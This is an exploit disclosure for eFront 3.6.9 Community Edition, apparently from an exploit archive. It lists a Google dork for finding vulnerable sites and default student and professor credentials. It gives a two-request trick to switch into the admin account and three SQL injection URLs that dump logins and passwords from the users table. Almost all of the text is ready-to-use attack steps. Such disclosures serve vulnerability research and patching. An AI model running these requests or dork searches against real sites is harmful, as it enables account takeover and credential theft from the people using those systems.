25 lines
No EOL
1 KiB
Text
25 lines
No EOL
1 KiB
Text
# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
|
|
# Google Dork: "eFront (version 3.6.9)" inurl:index.php?ctg=*
|
|
# Date: 5/09/2011
|
|
# Public release: When 3.6.10 will be released
|
|
# Author: IHTeam
|
|
# Software Link: http://www.efrontlearning.net/download/download-efront.html
|
|
# Tested on: efront_3.6.9_build11018
|
|
# Original Advisory: http://iht.li/FWh
|
|
# Advisory code: http://iht.li/p/0VV
|
|
|
|
Default username and password:
|
|
student:student
|
|
professor:professor
|
|
|
|
How to become admin:
|
|
Request 1: /change_account.php?login=admin
|
|
Request 2: /userpage.php
|
|
OR
|
|
simple use the [Switch account] option on top of the page;
|
|
Now you are in admin area;
|
|
|
|
SQL Injection:
|
|
www/student.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
|
|
www/professor.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users --
|
|
www/admin.php?ctg=messages&folder=<valid folder id> UNION ALL SELECT 1,2,3,password,5,6,login,8,9,10,11,12 FROM users -- |